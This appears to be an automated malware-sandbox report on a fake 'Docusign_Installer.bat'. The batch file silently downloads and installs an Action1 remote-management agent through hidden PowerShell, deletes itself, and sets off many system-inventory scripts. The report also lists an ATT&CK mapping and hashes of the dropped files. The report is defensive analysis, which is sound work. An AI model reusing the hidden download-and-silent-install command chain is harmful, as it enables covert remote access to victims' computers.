PID 4272 wrote to memory of 4620	4272	action1_agent.exe	113
PID 4620 wrote to memory of 4696	4620	powershell.exe	115
PID 4272 wrote to memory of 1920	4272	action1_agent.exe	116
PID 4272 wrote to memory of 5532	4272	action1_agent.exe	118
PID 4272 wrote to memory of 4264	4272	action1_agent.exe	120
PID 4272 wrote to memory of 2992	4272	action1_agent.exe	194
PID 4272 wrote to memory of 5812	4272	action1_agent.exe	144
PID 4272 wrote to memory of 5224	4272	action1_agent.exe	126
PID 5224 wrote to memory of 4152	5224	powershell.exe	128
PID 4152 wrote to memory of 4868	4152	csc.exe	129
PID 4272 wrote to memory of 4740	4272	action1_agent.exe	170

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1668
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
  2⤵
  PID:4088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "try {Invoke-WebRequest -Uri 'https://app.na-2.action1.com/agent/7fdfa464-7f6a-11f1-b7e6-37df2a619ce9/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pkg.msi' -ErrorAction Stop} catch {exit 1}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3532
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  PID:900

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B18BC8CCBC1333F33B5B231D05F0E140
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:6124
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6188A6D67DAF38E92CBC112D9AAAB690 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1084

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4100
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3452
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1920
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Drives_2016-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5532
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4264
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2992
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5812
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5224
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\00jp1z0k\00jp1z0k.cmdline"
    3⤵
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESB2A8.tmp" "c:\Windows\SystemTemp\00jp1z0k\CSC4219D174D5F04FA68F97EFDFBB1F183C.TMP"
      4⤵
      Drops file in Windows directory
      PID:4868
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4740
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5356
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2492
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2024
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Sound Devices_2038-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4488
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:980
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Startup Programs_2032-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2992
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5812
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Partitions_2034-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4224
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Logon Statistics_2013-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3588
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\WebP Vulnerability Status_2051-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2732
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3336
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3400
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4712
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5976
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1260
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1272
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2832
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3592
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4740
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:548
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3704
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    PID:4248
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3400
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:124
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.96
    3⤵
    PID:1016
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.151.94
    3⤵
    PID:1076
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:1084
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 44.232.42.159
    3⤵
    PID:5524
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:4992
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 57.154.63.210
    3⤵
    PID:3472
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:1948
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:5840
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.22
    3⤵
    PID:2564
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:5180
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:2392
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2368
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2992
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Network Adapters_2029-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2380
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Routing Tables_2028-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3644
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Event Logs_2021-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4624
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MOVEit Vulnerability Status_2050-1784023871.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5a0573.rbs

Path C:\Config.Msi\e5a0573.rbs
Size 240KB
SHA256 6505ac3f73c70ea98767037d0a331ed6a36a186e05630e37a9a1ac25842760c6
MD5 941835548917a83f7db6dbbb27e4ba1b
SHA1 7647085bcc1356ca2e1e72cc48cea5bfaefd9731
SHA512 04d8796e698537d96d44ecc8e67c0186c56ff3b5a1ff5c7a8739372b65348140f40cd3d2616bf75c83147ba21a59f90490a9811320a9f2fc30aed7ce06ae3b91
SSDEEP 3072:nXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:nqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T18D348E217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1ABB7727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5a0574.rbs

Path C:\Config.Msi\e5a0574.rbs
Size 7KB
SHA256 8648274ad0b7b54cc75cff0cca695ebb66548bee579efbfcfc69fa09deef38a5
MD5 eb7646e31e8c6df574f41506b5239900
SHA1 788306ea49133fbb04f4f42e8725a2d1c759eae8
SHA512 a302e737fe8ab10f9f41a59cbb40b2defdafb28b53b67a8ae6a5f4bdfe9157b0b302ed7bba6ab81a5d00c75a6cd7d8b9478eab4e1e048be697c3c740f5da776d
SSDEEP 96:gy7tPe21v7XkUT1AiOliCsThqxBXkUT1AiOliC6jZS2dThqxaH+35fyG9tbktqZz:gAewf6hI26hM+YS0/pc
TLSH
T15CE12F017A0046F3FA6A0735C7471F9837B2D2D983112B1B8CCDA664AF5BF8D6E951CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0drvzwoy.fgv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0drvzwoy.fgv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pkg.msi

Path C:\Users\Admin\AppData\Local\Temp\pkg.msi
Size 6.8MB
SHA256 66debf86917df83671d18099230da8593f2a6368af6c81ed3987f95ea99db0c8
MD5 00a6e4ad8d97cd49eacc1243fb0c2b3e
SHA1 d25ae91ed6f048fd78c4923de8cfcb104b1edc6b
SHA512 7a840bf1699aa579950e9aa2c1ce0b0f3217cf1f37cd15aa6eb87ca371fe2f9418a78c744a656f1243f549de30e640dbaa9bc5e41c8d043ebe6cf88fdeecdd6e
SSDEEP 98304:VkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:Wlc4pkbLHLhObmXe/kdkmPDTs
TLSH
T1E3761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 ca0bc1de29f71ed30e1a0a4e08b66373cdf0a13dc3a0fddf5cb3efda2883550c
MD5 ada8dfebeb513fec3c330c719dca77ec
SHA1 e83b207360b856d5f856675bc41b2ae64c52a246
SHA512 edda77e3c3d74d261c72aec086cd6c24f9b0d6bcd31a6b26a7fff5570a856c990702105f0639f66980dd1d40cfc075ad4deabec90e7701a18232e2d75bf2bc1a
SSDEEP 768:T9XKnbhRgjUpQUfRQ3Lyhx48Utsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQO:MRoLE6xY+wkMdAelYWsZ
TLSH
T1D4439C16E4757DB104C2188C5FCB1AFBDA4E019652D906DE871CEEBF89AF52C8102E9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_downgrade.version_pair

Path C:\Windows\Action1\agent_downgrade.version_pair
Size 81B
SHA256 59ce9944f3204dc78713668b9d92f9058124261d341ad59070318df817d6479a
MD5 b8ddad64df1cf421187464c98c22fbc6
SHA1 51ced27ed81086d8c34e7196bdc4b7ab0dea5d8f
SHA512 88400076a2cbf0769797a33aa66757ca91567e8c91092fd83703362ede4a18a637d9e171e29ebb04609d19b04fa961924a57b3faf414e225927f0ae260912e89
TLSH
T193A02202203008A308E3CB83283E2220CA0A208BCFA08C2E000C2880830F3C302CCB02
MD5 SHA1 SHA512 TLSH

Submit Download

previousUser.txt

Path C:\Windows\Action1\previousUser.txt
Size 14B
SHA256 fc2692a21a976d784353d63b6eb3cb2a8d6be25e4ee40faa14fd9e7377b6902d
MD5 353a17baf208cb8c5d6d9cab75218eb7
SHA1 17b76cfaa4cb50d118144517aba73c9d76c44f28
